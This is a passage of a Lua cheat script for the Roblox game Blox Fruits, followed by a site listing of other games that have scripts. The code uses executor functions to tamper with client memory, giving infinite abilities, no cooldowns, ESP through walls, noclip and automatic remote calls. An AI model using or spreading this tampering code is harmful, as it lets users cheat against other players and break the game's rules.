        elseif _G.SelectStateHaki == "State 1" then
            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("ChangeBusoStage",1)
        elseif _G.SelectStateHaki == "State 2" then
            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("ChangeBusoStage",2)
        elseif _G.SelectStateHaki == "State 3" then
            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("ChangeBusoStage",3)
        elseif _G.SelectStateHaki == "State 4" then
            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("ChangeBusoStage",4)
        elseif _G.SelectStateHaki == "State 5" then
            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("ChangeBusoStage",5)
        end
    end)
    
    Misc:Seperator("Graphic")
    
    local a = game.Lighting
    local c = Instance.new("ColorCorrectionEffect", a)
    local e = Instance.new("ColorCorrectionEffect", a)
    OldAmbient = a.Ambient
    OldBrightness = a.Brightness
    OldColorShift_Top = a.ColorShift_Top
    OldBrightnessc = c.Brightness
    OldContrastc = c.Contrast
    OldTintColorc = c.TintColor
    OldTintColore = e.TintColor
    Misc:Toggle("RTX Mode",_G.RTXMode,function(value)
        _G.RTXMode = value
        if not _G.RTXMode then return end
        while _G.RTXMode do wait()
            a.Ambient = Color3.fromRGB(33, 33, 33)
            a.Brightness = 0.3
            c.Brightness = 0.176
            c.Contrast = 0.39
            c.TintColor = Color3.fromRGB(217, 145, 57)
            game.Lighting.FogEnd = 999
            if not game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("PointLight") then
                local a2 = Instance.new("PointLight")
                a2.Parent = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
                a2.Range = 15
                a2.Color = Color3.fromRGB(217, 145, 57)
            end
            if not _G.RTXMode then
                a.Ambient = OldAmbient
                a.Brightness = OldBrightness
                a.ColorShift_Top = OldColorShift_Top
                c.Contrast = OldContrastc
                c.Brightness = OldBrightnessc
                c.TintColor = OldTintColorc
                e.TintColor = OldTintColore
                game.Lighting.FogEnd = 2500
                game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("PointLight"):Destroy()
            end
        end
    end)
    
    Misc:Button("FPS Boost",function()
        pcall(function()
            game:GetService("Lighting").FantasySky:Destroy()
            local g = game
            local w = g.Workspace
            local l = g.Lighting
            local t = w.Terrain
            t.WaterWaveSize = 0
            t.WaterWaveSpeed = 0
            t.WaterReflectance = 0
            t.WaterTransparency = 0
            l.GlobalShadows = false
            l.FogEnd = 9e9
            l.Brightness = 0
            settings().Rendering.QualityLevel = "Level01"
            for i, v in pairs(g:GetDescendants()) do
                if v:IsA("Part") or v:IsA("Union") or v:IsA("CornerWedgePart") or v:IsA("TrussPart") then 
                    v.Material = "Plastic"
                    v.Reflectance = 0
                elseif v:IsA("Decal") or v:IsA("Texture") then
                    v.Transparency = 1
                elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then
                    v.Lifetime = NumberRange.new(0)
                elseif v:IsA("Explosion") then
                    v.BlastPressure = 1
                    v.BlastRadius = 1
                elseif v:IsA("Fire") or v:IsA("SpotLight") or v:IsA("Smoke") or v:IsA("Sparkles") then
                    v.Enabled = false
                elseif v:IsA("MeshPart") then
                    v.Material = "Plastic"
                    v.Reflectance = 0
                    v.TextureID = 10385902758728957
                end
            end
            for i, e in pairs(l:GetChildren()) do
                if e:IsA("BlurEffect") or e:IsA("SunRaysEffect") or e:IsA("ColorCorrectionEffect") or e:IsA("BloomEffect") or e:IsA("DepthOfFieldEffect") then
                    e.Enabled = false
                end
            end
            for i, v in pairs(game:GetService("Workspace").Camera:GetDescendants()) do
                if v.Name == ("Water;") then
                    v.Transparency = 1
                    v.Material = "Plastic"
                end
            end
        end)
    end)
    
    Misc:Toggle("Remove Fog",RemoveFog,function(value)
        RemoveFog = value
        if not RemoveFog then return end
        while RemoveFog do wait()
            game.Lighting.FogEnd = 9e9
            if not RemoveFog then
                game.Lighting.FogEnd = 99999
            end
        end
    end)
    
    Misc:Toggle("Remove Damage",function()
		for i,v in pairs(game.Workspace:GetDescendants()) do
			if v.Name == "DamageCounter" then   
				v:Destroy()
			end
		end
		for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do
			if v.Name == "DamageCounter" then   
				v:Destroy()
			end
		end
	end)
    
    Misc:Button("Unlock FPS",function()
        setfpscap(9999999)
    end)
    
     Misc:Button("Fake Skin MODEâ„¢",function()
	 spawn(function()
     pcall(function()
     while true do
     wait(.0)
     game.Players.LocalPlayer.Character.Humanoid.Health = 999999
            end
        end)
    end)
    
    for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
        if v.ClassName == "Accessory" then
            v:Destroy()
        end
    end
    
    game.Players.LocalPlayer.Character.Pants:Destroy()
    game.Players.LocalPlayer.Character.Animate.Disabled = true 
end)
    
    Misc:Seperator("ESP GAME")
    
    Misc:Toggle("ESP Player",false,function(value)
        ESPPlayer = value
        while ESPPlayer do wait()
            UpdateEspPlayer()
        end
    end)
    
    Misc:Toggle("ESP Chest",false,function(value)
        ChestESP = value
        while ChestESP do wait()
            UpdateChestEsp() 
        end
    end)
    
    Misc:Toggle("ESP Fruit",false,function(value)
        DevilFruitESP = value
        while DevilFruitESP do wait()
            UpdateBfEsp() 
        end
    end)
    
    Misc:Toggle("ESP Flower",false,function(value)
        FlowerESP = value
        while FlowerESP do wait()
            UpdateFlowerEsp() 
        end
    end)
    
    Misc:Toggle("ESP lsland",IslandESP,function(value)
        IslandESP = value
        while IslandESP do wait()
            UpdateIslandESP() 
        end
    end)
    
    Misc:Seperator("Abilities")
    
    Misc:Toggle("Dodge No Cooldown",false,function(value)
        nododgecool = value
        NoDodgeCool()
    end)
    
    Misc:Toggle("Infinite Energy",false,function(value)
        InfiniteEnergy = value
        originalstam = LocalPlayer.Character.Energy.Value
    end)
    
    Misc:Toggle("Auto Active Race",_G.AutoAgility,function(value)
        _G.AutoAgility = value
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoAgility then
                    game:GetService("ReplicatedStorage").Remotes.CommE:FireServer("ActivateAbility")
                end
            end
        end)
    end)
    
    Misc:Toggle("Infinite Ability",true,function(value)
        InfAbility = value
        if value == false then
            game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("Agility"):Destroy()
        end
    end)
    
    spawn(function()
        while wait() do
            if InfAbility then
                InfAb()
            end
        end
    end)
    
    Misc:Toggle("Infinite Obversation Range",getgenv().InfiniteObRange,function(value)
        getgenv().InfiniteObRange = value
        local VS = game:GetService("Players").LocalPlayer.VisionRadius.Value
        while getgenv().InfiniteObRange do
            wait()
            local player = game:GetService("Players").LocalPlayer
            local char = player.Character
            local VisionRadius = player.VisionRadius
            if player then
                if char.Humanoid.Health <= 0 then 
                    wait(5) 
                end
                VisionRadius.Value = math.huge
            elseif getgenv().InfiniteObRange == false and player then
                VisionRadius.Value = VS
            end
        end
    end)
    
    Misc:Toggle("Infinite Geppo",getgenv().InfGeppo,function(value)
        getgenv().InfGeppo = value
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if getgenv().InfGeppo then
                    for i,v in next, getgc() do
                        if game:GetService("Players").LocalPlayer.Character.Geppo then
                            if typeof(v) == "function" and getfenv(v).script == game:GetService("Players").LocalPlayer.Character.Geppo then
                                for i2,v2 in next, getupvalues(v) do
                                    if tostring(i2) == "9" then
                                        repeat wait(.1)
                                            setupvalue(v,i2,0)
                                        until not getgenv().InfGeppo or game:GetService("Players").LocalPlayer.Character.Humanoid.Health <= 0 
                                    end
                                end
                            end
                        end
                    end
                end
            end)
        end
    end)
    
    Misc:Toggle("Infinite Soru",getgenv().InfSoru,function(value)
        getgenv().InfSoru = value
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if getgenv().InfSoru and game:GetService("Players").LocalPlayer.Character:FindFirstChild("HumanoidRootPart") ~= nil  then
                    for i,v in next, getgc() do
                        if game:GetService("Players").LocalPlayer.Character.Soru then
                            if typeof(v) == "function" and getfenv(v).script == game:GetService("Players").LocalPlayer.Character.Soru then
                                for i2,v2 in next, getupvalues(v) do
                                    if typeof(v2) == "table" then
                                        repeat wait(0.1)
                                            v2.LastUse = 0
                                        until not getgenv().InfSoru or game:GetService("Players").LocalPlayer.Character.Humanoid.Health <= 0
                                    end
                                end
                            end
                        end
                    end
                end
            end)
        end
    end)
    
    Misc:Toggle("Walk on Water",_G.WalkWater,function(value)
        _G.WalkWater = value
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.WalkWater then
                    if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.Y <= 1 then
                        if not game:GetService("Workspace"):FindFirstChild("Water") then
                            local Water = Instance.new("Part", game:GetService("Workspace"))
                            Water.Name = "Water"
                            Water.Size = Vector3.new(20,0.5,20)
                            Water.Anchored = true
                            Water.Material = "Neon"
                            Water.Color = _G.Color
                            game:GetService("Workspace").Water.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.X,game:GetService("Workspace").Camera["Water;"].CFrame.Y,game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.Z)
                        else
                            game:GetService("Workspace").Water.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.X,game:GetService("Workspace").Camera["Water;"].CFrame.Y,game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.Z)
                        end
                    elseif game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.Y >= 1 and game:GetService("Workspace"):FindFirstChild("Water") then
                        game:GetService("Workspace"):FindFirstChild("Water"):Destroy()
                    end
                else
                    if game:GetService("Workspace"):FindFirstChild("Water") then
                        game:GetService("Workspace"):FindFirstChild("Water"):Destroy()
                    end
                end
            end
        end)
    end)
    
    Misc:Toggle("Noclip",_G.NOCLIP,function(value)
        _G.NOCLIP = value
    end)
	
--FN
spawn(function()
    while wait() do
        if sethiddenproperty then
            sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",100)
        end
        if setscriptable then
            setscriptable(game.Players.LocalPlayer, "SimulationRadius", true)
            game.Players.LocalPlayer.SimulationRadius = math.huge * math.huge, math.huge * math.huge * 0 / 0 * 0 / 0 * 0 / 0 * 0 / 0 * 0 / 0
        end
    end
end)
--C
	 

Available Games

096-SCP-Scripts 1-Damage-Every-Second-Scripts 1-Every-Second-Scripts 1-Jump-Every-Second-Scripts 1-Money-Every-Click-Scripts 1-Win-Obby-Scripts 1%-FINISH-Scripts 2-Player-Millionaire-Tycoon-Scripts 2P-Wizzard-Tycoon-Scripts 3-2-1-Blast-Off-Simulator-Scripts 3008-Scripts 50-50-Pick-A-Door-Obby-Scripts 98%-Fail-Impossible-Glass-Bridge-Scripts A-0ne-Piece-Game-Scripts A-Dumb-Day-Scripts A-Dusty-Trip-Scripts A-Hero's-Destiny-Scripts A-One-Piece-Devil-Fruit-Scripts A-One-Piece-Game-Scripts A-Universal-Time-Scripts ABA-Scripts Ability-Wars-Scripts Abyssal-Scripts Admin-Guns-Scripts Admin-House-Scripts Admin-RNG-Scripts Admin-Simulator-Scripts Adopt-And-Raise-A-Baby-Scripts Adopt-And-Raise-A-Cute-Baby-Scripts Adopt-Me-Scripts Aeronautica-Scripts Afk-for-UGC-Scripts Aftons-Family-Diner-Scripts Age-Of-Hero-Scripts Age-Of-Hero's-Scripts Aggressive-Multiplayer-Scripts Aim-Trainer-1-Scripts Aim-Trainer-Scripts Airplane-Simulator-Scripts Airport-Tycoon-Scripts Airsoft-FE-Scripts All-Of-Us-Are-Dead-Scripts All-Star-Tower-Defense-Scripts Allblox-Battles-Scripts Allusions-Scripts Alo-Sanctuary-Scripts Alphabet-Lore-Race-Scripts Alternate-Battlegrounds-Scripts Altitorture-Scripts An-Infinite-Adventure-Scripts an-ocean-trip-Scripts Anarchy-Arena-Scripts Animal-Evolution-Simulator-Scripts Animal-Race-Scripts Animal-Sim-Underwater-Scripts Animal-Simulator-Scripts Anime-Adventure-Scripts Anime-Adventures-Scripts Anime-Artifacts-Simulator-2-Scripts Anime-Battle-Arena-Scripts Anime-Battle-Simulator-Scripts Anime-Battlegrounds-Y-Scripts Anime-Battles-Simulator-Scripts Anime-Card-Battle-Scripts Anime-Catching-Simulator-Scripts Anime-Champions-Scripts Anime-Clash-Scripts Anime-Clicker-Fight-Scripts Anime-Clicker-Simulator-Scripts Anime-Combat-Simulator-Scripts Anime-Crossover-Defense-Scripts Anime-Defenders-Scripts Anime-Defense-Simulator-Scripts Anime-Destiny-Simulator-Scripts Anime-Dimension-Simulator-Scripts Anime-Dungeon-Fighters-Scripts Anime-Enemies-Simulator-Scripts Anime-Energy-Clash-Simulator-Scripts Anime-Evolution-Simulator-Scripts Anime-Fantasy-Scripts Anime-Fight-Next-Generation-Scripts Anime-Fighters-Scripts Anime-Fighters-Simulator-Scripts Anime-Fighting-Simulator-Scripts Anime-Fighting-Simulator-X-Scripts Anime-Fly-Race-Scripts Anime-Force-Simulator-Scripts Anime-Fruit-Simulator-Scripts Anime-Fusion-Tycoon-Scripts Anime-Heroes-Simulator-Scripts Anime-Hunters-Simulator-Scripts Anime-Idle-Simulator-Scripts Anime-Infinity-Simulator-Scripts Anime-Islands-Scripts Anime-Last-Stand-Scripts Anime-League-Scripts Anime-Legends-Scripts Anime-Lost-Simulator-Scripts Anime-Plush-Simulator-Scripts Anime-Power-Evolution-Scripts Anime-Power-Simulator-Scripts Anime-Punch-Simulator-Scripts Anime-Punching-Simulator-Scripts Anime-Racing-Clicker-Scripts Anime-Realms-Scripts Anime-Revolution-Scripts Anime-Revolution-X-Scripts Anime-Rising-Fighting-Scripts Anime-RNG-Rarities-Scripts Anime-RNG-Scripts Anime-Shadow-Scripts Anime-Simulator-Scripts Anime-Slashing-Simulator-Scripts Anime-Smash-Simulator-Scripts Anime-Souls-Simulator-Scripts Anime-Speed-Race-Scripts Anime-Speed-Simulator-Scripts Anime-Spirits-Scripts Anime-Star-Simulator-Scripts Anime-Story-Scripts Anime-Street-Simulator-Scripts Anime-Strike-Simulator-Scripts Anime-Switch-Scripts Anime-Sword-X-Scripts Anime-Swords-Simulator-Scripts Anime-Tales-RELEASE-Scripts Anime-Tales-Simulator-Scripts Anime-Training-RNG-Scripts Anime-Universe-Simulator-Scripts Anime-Vanguards-Scripts Anime-Warriors-Simulator-2-Scripts Anime-Weapon-Simulator-Scripts Anime-Word-Tower-Defense-Scripts AniPhobia-Scripts Aniverse-Scripts Anomic-Scripts Answer-Or-Die-Scripts Ants-Simulator-Scripts Apeirophobia-Scripts Apocalypes-Rising-2-Scripts Apocalypse-Tycoon-Scripts Aqua-Racer-Scripts Arcane-Lineage-Scripts Arcane-Odyssey-Scripts Arm-Wrestle-Simulator-Scripts Arm-Wrestling-Simulator-Scripts Armored-Patrol-Scripts Arsenal-Scripts Ascend-Scripts Assassin-Scripts Astro-Renaissance-Scripts Attack-On-Titan-Evolution-Scripts Attack-on-Titan-Revolution-Scripts Attack-On-Titan-Vengeance-Scripts Aura-Craft-Scripts Aura-Dice-RNG-Scripts Auto-Rap-Battles-Scripts BABY-BOBBYS-DAYCARE-Scripts Backpacking-Scripts Backrooms-GMod-Map-Scripts Backrooms-Morphs-Scripts Backrooms-Race-Clicker-Scripts Bad-Business-Scripts Baddies-Scripts Ball-And-Axe-Scripts Balloon-Simulator-Scripts Balls-Rarity-Factory-Scripts Banana-Eats-Scripts Banning-Simulator-X-Scripts Barry-Prison-Run-Scripts Barry's-Prison-Run-2-Scripts Barrys-Prison-Run-Scripts Baryon-Scripts Base-Battles-Scripts Base-Raiders-Scripts Basically-FNF-Scripts Basketball-Legends-Scripts Bathroom-Tower-Defense-Scripts Bathroom-Tower-Defense-X-Scripts Battle-Pet-TD-Scripts Be-A-Dad-And-Get-Milk-Sim-Scripts be-a-dad-and-get-milk-simulator-Scripts Be-A-Hero-Scripts Be-A-Parkour-Ninja-Scripts Be-a-Pickaxe-Scripts Be-A-Spider-Tycoon-Scripts Be-a-Tornado-Scripts Be-Crushed-By-A-Speeding-Wall-Scripts Be-Dead-Forever-Simulator-Scripts Be-NPC-or-Die-Scripts Beat-Up-Dummies-Simulator-Scripts Became-a-Plane-and-Fly-Scripts Become-a-hacker-to-prove-dad-wrong-tycoon-Scripts become-a-painter-and-prove-mom-wrong-tycoon-Scripts Become-a-Plane-and-Fly-Scripts BedWars-Scripts Bee-Swarm-Simulator-Scripts Bee-Tycoon-Scripts beg-to-escape-poverty-Scripts Bellu-Piece-Scripts Benders-Battle-Arena-Scripts Bendy-and-the-ink-Machine-Scripts Berry-Avenue-RP-Scripts Better-Meme-Scripts Better-Music-Scripts Beyondland-Scripts BIC-DrawPlanet-Scripts Big-Battles-Scripts Big-Blox-Brazil-Scripts Big-Brain-Simulator-Scripts Big-Lifting-Simulator-X-Scripts Big-Paintball-Classic-Scripts BIG-Paintball-Scripts Bike-Race-Clicker-Scripts Billionaire-Empire-Scripts Billionaire-Simulator-2-Scripts Bitcoin-Miner-Scripts Bizarre-Day-Modded-Rebooted-Scripts Black-Adam-Experience-Scripts Black-Grimoire-Odyssey-Scripts Blackhawk-Rescue-Mission-5-Scripts Blackrooms-Race-Clicker-Scripts Blade-Ball-Scripts Blade-Of-Chance-Scripts Blade-Quest-Scripts Blade-Simulator-Scripts Blade-Slayer-Scripts Blade-Throwing-Simulator-Scripts Blades-RNG-Scripts Bleeding-Blades-Scripts Blending-Simulator-2-Scripts Blob-Simulator-Scripts Block-Eaters-Scripts Block-Eating-Simulator-Scripts Block-Mine-Scripts Block-Miner-Simulator-Scripts Block-Survivor-Scripts Blocks-n-Props-Scripts BlockWars-Scripts Blood-And-Iron-Scripts Blox-Fruits-Scripts Blox-Hunt-Scripts Bloxburg-Scripts Bloxy-Bingo-Scripts Blue-Heater-Scripts Blue-Lock-Rivals-Scripts boat-ride-into-a-better-life-Scripts Bomb-Click-Mine-Scripts Bomb-Tag-Survival-Scripts Booga-Booga-REBORN-Scripts Booga-Booga-Scripts Boss-Fighting-Simulator-Scripts BotClash-Simulator-Scripts Bow-Simulator-Scripts Box-Simulator-Scripts BOXING-BETA-Scripts Boxing-Clicker-Simulator-Scripts Boxing-Fighters-Simulator-Scripts Boxing-Friends-Simulator-Scripts Boxing-League-Scripts Boxing-Simulator-Scripts Braveorder-Scripts brawl-2-Scripts Break-In-2-Scripts Break-In-Scripts Break-Wall-Simulator-Scripts Breaking-Point-Scripts Bro-Rescue-Simulator-Scripts Broken-Bones-4-Scripts Broken-Bones-IV-Scripts Brookhaven-RP-Scripts Bubble-Gum-Clicker-Scripts Bubble-Gum-Clicker-X-Scripts Bubble-Gum-Haven-Scripts Bubble-Gum-Legends-Scripts Bubble-Gum-Simulator-Scripts Build-A-Boat-For-Treasure-Scripts Build-a-Boat-with-Blocks-Scripts Build-a-Bridge-Simulator-Scripts Build-and-Battle-Scripts Build-And-Survive-Scripts Build-To-Survive-Scripts Build-to-Survive-the-Booms-Scripts Build-To-Survive-The-Robots-Scripts Bulked-Up-Scripts Bullying-Scripts Burgeria-Tycoon-Scripts Burn-Stuff-And-Get-Rich-Scripts Business-Tycoon-Scripts Busy-Business-Scripts Butterfly-Race-Scripts Button-Infinity-Scripts Button-Simulator-2023-Scripts buy-your-friend-back-tycoon-Scripts Cabin-Crew-Simulator-Scripts Cacophony-Scripts Camping-Scripts Candy-Clicker-Simulator-Scripts Candy-Collecting-Simulator-Scripts Car-Crash-System-Scripts Car-Crash-Test-Scripts Car-Crushers-2-Scripts Car-Dealership-Tycoon-Scripts Car-Factory-Tycoon-Scripts Car-Mechanic-Tycoon-Scripts Car-Repair-Simulator-Scripts Carry-Me-Scripts Carry-People-Simulator-3-Scripts Cars-Car-Driving-Ultimate-Scripts Cart-Car-Ride-Into-GigaNoob-Scripts Cart-Ride-Around-Nothing-Scripts Cart-Ride-Delivery-Service-Scripts Cart-Ride-Into-Rdite-Scripts Cart-Ride-Race-Scripts Cart-Ride-Tycoon-2-Scripts Cart-Ride-Tycoon-Scripts Cartoon-Network-Game-On-Scripts Case-Clicker-Scripts Casual-Stock-Scripts Cat-Piece-Scripts Chain-Scripts Chainsaw-Man-Scripts Chainsaw-Man-X-Scripts Champions-TD-Scripts ChangiVerse-Scripts CHAOS-Scripts Chechnya-1994-Scripts Cheese-Escape-Scripts Cheese-Factory-Tycoon-Scripts Cheese-TD-Scripts Chest-Hero-Simulator-Scripts Chest-Simulator-Scripts ChicBlocko-Scripts Chill-Obby-Scripts Circle-Clash-Scripts Cirque-Du-Soleil-Tycoon-Scripts City-Defense-Tycoon-Scripts City-Life-Scripts Classroom-Simulator-Scripts Claw-Machine-Master-Scripts Click-To-Build-Simulator-Scripts Clicker-Fighting-Simulator-Scripts Clicker-League-Scripts Clicker-Madness-Scripts Clicker-Mining-Simulator Clicker-Mining-Simulator-Scripts Clicker-Party-Simulator-Scripts Clicker-Run-Scripts Clicker-Simulator-Scripts Clicker-Wars-Simulator-Scripts Clicking-Simulator-Scripts Climb-1000-Stairs-Scripts Climb-2000-Stairs-to-VIP-Obby-Scripts Climb-Race-Simulator-Scripts Climb-Rocks-to-VIP-Obby-Scripts Climb-Wall-For-VIP-Obby-Scripts Clip-It-Scripts Clone-Game-Scripts Clone-Kingdom-Tycoon Clone-Kingdom-Tycoon-Scripts Clone-Run-Scripts Clone-Tycoon-2-Scripts Close-your-Eyes-Scripts Closest-Build-Wins-Scripts Clover-City-Scripts Coal-Miner-Tycoon-2-Scripts Cobra-Kai-Karate-Scripts Coffee-Tsunami-Scripts Coins-Hero-Simulator-Scripts Collect-All-Pets-Scripts Collect-Stars-for-UGC-Scripts Colony-Survival-Scripts Color-Block-Scripts Color-Chairs-Scripts Color-Or-Die-Scripts Color-Race-Scripts Color-Run-Scripts Combat-Warriors-Scripts Contact-A-888-Scripts Control-Army-Scripts Cook-Burgers-but-with-100-players-Scripts Cook-Burgers-Scripts Cornerstone-Arcade-Scripts Corsair-Land-Scripts Coruscant-RP-Scripts Counter-Blox-Reimagined-Scripts Counter-Blox-Scripts Country-Collectors-Scripts Countryball-World-Scripts Craft-Blox-Scripts Craft-Factory-Scripts Craftwars-Scripts Crate-Opening-Incremental-Scripts Crawl-Scripts CRAZY-Scripts Creatures-Of-Sonaria-Scripts Creeper-Chaos-Scripts Creeper-Survival-Scripts Crewmates-Scripts Criminal-Tycoon-Scripts Criminality-Scripts Crimson-Shadow-Scripts Crocs-World-Minigames-Scripts Crop-Farming-Incremental-Scripts Cross-Glass-Bridge-to-Rich-Scripts CrossRoad-Ragdoll-Scripts Crusaders-Heaven-Scripts Crying-Simulator-Scripts Crypto-Tycoon-Scripts Cube-Combination-Scripts Cursed-Arena-Scripts Cursed-Islands-Scripts Custom-Duels-Scripts Custom-PC-Tycoon-Scripts D-DAY-Scripts Da-Backrooms-Scripts Da-Hood-Aim-Trainer-Scripts Da-Hood-Scripts Da-Strike-Scripts Dam-Tycoon-Scripts Dandys-World-Scripts Dark-Life-Scripts Daybreak-Scripts Daycare-Center-Scripts DBZ-Final-Stand-Scripts Dead-Ball-Scripts Deadlift-Simulator-Scripts Deadline-Scripts Deadly-Sins-Retribution-Scripts Dealership-Tycoon-Cars-Scripts Death-Academy-Online-Scripts Death-Ball-Scripts Decaying-Winter-Scripts Deflect-Scripts Dem's-Upgrade-Tree-Scripts Demon-Fall-Scripts Demon-Piece-Scripts Demon-Slayer-Midnight-Sun-Scripts Demon-Soul-Simulator-Scripts Demon-Warriors-Scripts Demonfall-Scripts Destroy-And-Conquer-Scripts Destroy-The-Neighborhood-Scripts Destroying-Walls-Simulator-Scripts Destruction-Game-Scripts Destruction-Simulator-Scripts Devas-of-Creation-Scripts di-makatulog-Scripts Dig-To-China-Scripts dingus-Scripts Dino-Island-Tycoon-Scripts Dino-Tycoon-Scripts Dinosaur-Simulator-Scripts Domino-Playground-Scripts Dominus-Lifting-Simulator-Scripts DONT-GET-SNIFFED-Scripts Dont-Press-Bary-Prison-Run-Scripts DONT-SNIFF-IT-Scripts Dont-Stop-Obby-Scripts Doodle-Word-Scripts Doomspire-Brickbattle-Scripts DOORS-Race-Clicker-Scripts Doors-Race-Script Doors-Race-Scripts Doors-Scripts Doors-Story-Scripts Double-Down-Scripts Double-Jump-Obby-Scripts Dragon-Adventures-Scripts Dragon-Ball-Final-Remastered-Scripts Dragon-Ball-Rage-Scripts Dragon-Ball-Simulator-Scripts Dragon-Ball-Tycoon-Scripts Dragon-Blox-Scripts Dragon-Race-Scripts Dragon-Soul-Hunter-Scripts Dragon-Soul-Scripts Dragon-Warrior-Simulator-Scripts Dragonball-Ultimate-Clash-2-Scripts Draw-Obby-Scripts Dress-to-Impress-Scripts Drift-Paradise-Scripts Drift-RNG-Scripts Drive-Cars-Down-A-Hill-Scripts Drive-World-Scripts Driving-Empire-Scripts Driving-Simulator-Scripts Duck-Army-Scripts Dungeon-Quest-Scripts Dunking-Race-Scripts Dunking-Simulator-Scripts Easy-Color-Switch-Obby-Scripts Easy-Fun-Obby-Scripts EASY-Glass-Bridge-Scripts Easy-Grow-Obby-Scripts Easy-Jump-Scripts Easy-Obby-Scripts Easy-Pet-Obby-Script Easy-Race-Clicker-Scripts Easy-Stud-Jump-Obby-Scripts Easy-Stud-Jumps-Obby-Scripts Easy-Stud-Walls-Jump-Obby-Scripts Eat-Blobs-Simulator-Scripts Eat-Same-Color-Food-Scripts eat-sand-Scripts Eat-Slime-to-Grow-Huge-Scripts Eat-Slimes-to-Grow-Huge-Scripts Eat-the-World-Scripts Eating-Battle-Simulator-Scripts Eating-Simulator-Scripts Eclipsis-Scripts Edward-The-Man-Eating-Train-Scripts Egg-Empire-Scripts Egg-Tree-Incremental-Scripts EGOIST-Scripts Electric-State-DarkRP-Scripts Elemental-Dungeon-Scripts Elemental-Powers-Tycoon-Scripts Elite-Easy-Obby-Scripts Emergency-Hamburg-Scripts Emergency-Response-Scripts Encounters-Scripts Endless-Parkour-Scripts Energy-Assault-Scripts Enigmatic-Trollverse-Scripts Entry-Point-Scripts Epic-Army-Battles-Scripts Epic-Minigames-Scripts Era-Of-Althea-Scripts ESCAPE-IPAD-KID-Scripts Escape-Papa-Pizza's-Pizzeria-Scripts Escape-Papa-Pizzas-Pizzeria-Scripts Escape-Room-Scripts Escape-Running-Head-Scripts Escape-School-Obby-Scripts Escape-The-Dungeon-Obby-Scripts Escape-The-World-Obby-Scripts Eternal-Craftwars-Scripts Eternal-Piece-Scripts Evade-Scripts Event-RNG-Scripts Everest-Climbing-Roleplay-Scripts Every-Click-Get-1-Jump-Scripts Every-One-Second-Get-1-Size-Scripts Every-Second-1-Ki-In-DBZ-Scripts Every-Second-Get-1-Scripts Every-Second-Stud-Jumps-Obby-Scripts Every-Second-You-Get-1-Health-Scripts Every-Second-You-Get-1-HP-Scripts Every-Second-You-Get-1-Jump-Power-Scripts Every-Second-You-Get-1-Muscle-Scripts Every-Second-You-Get-1-Points-Scripts Every-Second-You-Get-1-Punch-Scripts Every-Second-You-Get-1-Scripts Every-Second-You-Get-1-Speed-But-Youre-On-a-Bike-Scripts Every-Second-You-Get-1-WalkSpeed-Scripts Every-Second-You-Get-Richer-Scripts Every-Second-You-Get-Smarter-Scripts Every-Second-You-Get+1-Muscle-Scripts Everyday-Car-Driving-Scripts Everything-Upgrade-Tree-Scripts Eviction-Notice-Scripts Evolution-Simulator-Scripts Executors Expedition-Antarctica-Scripts Explosive-Wall-Simulator-Scripts Ez-Dev-Scripts Fabled-Legacy-Scripts Facility-Lockdown-Scripts Facility-Of-Redemption-Scripts Faction-Defense-Tycoon-Scripts Factory-RNG-Scripts Fall-Of-Hell-Scripts Fantastic-Frontier Fantastic-Frontier-Scripts Farm-Factory-Tycoon-Scripts Farm-for-Fun-Scripts Fart-In-A-Box-Scripts Fast-Lifting-Simulator-Scripts Fat-Race-Clicker-Scripts Fat-Race-Scripts Fat-Roll-Race-Scripts Fat-Simulator-Scripts feed-the-noob-like-crazy-Scripts Feed-The-Noob-Tycoon-Scripts FEEDING-TRASH-TO-RICH-PEOPLE-TYCOON-Scripts Feet-Simulator-Scripts Fencing-Scripts Festival-Tycoon-Scripts Field-Trip-Z-Scripts FIFA-WORLD-Scripts Find-the-Auras-Scripts Find-the-Blippis-Scripts Find-the-Cars-Scripts Find-The-Family-Guy-Scripts Find-The-Floppa-Morphs-Scripts Find-the-Foods-Scripts Find-the-Footballers-Scripts Find-the-Ghosts-Scripts Find-The-Markers-Scripts Find-The-Pau-Scripts Find-The-Plugs-Scripts Find-The-Simpsons-Scripts Find-The-Sonic-Morphs-Scripts Fire-Force-Online-Scripts Fireball-Punching-Simulator-Scripts Firework-Simulator-Scripts Fisch-Scripts Fish-A-Friend-Scripts Fishing-Frenzy-Simulator-Scripts Fishing-Simulator-Scripts FiveDuels-Scripts Flag-Wars-Scripts Flappy-Bird-Race-Scripts Flappy-Clicker-Scripts Flee-The-Facility-Scripts Flex-Fight-Scripts Flex-Your-Account-Age-Scripts Fling-Champions-Scripts Fling-Things-And-People-Scripts Flood-Escape-2-Scripts Floor-2-but-you-can-Spawn-Entitys-Scripts Fly-Race-Scripts Flying-Boot-Race-Simulator-Scripts Fnaf-Five-Nights-Simulator-Scripts FNAF-Scripts Foblox-Scripts Football-Duels-Scripts Football-Fusion-2-Scripts Football-RNG-Scripts Formula-Apex-Scripts Fortblox-Scripts Framed-Scripts FREE-ADMIN-Scripts Free-Boombox-Scripts Free-Hatchers-Scripts Free-Owner-Admin-Scripts Friday-Night-Bloxxin-Scripts Frog-Simulator-Scripts Froggie-Pond-Tycoon-Scripts FRONTLINES-Scripts Fruit-Battlegrounds-Scripts Fruit-Seas-Scripts Fruit-Warriors-Scripts 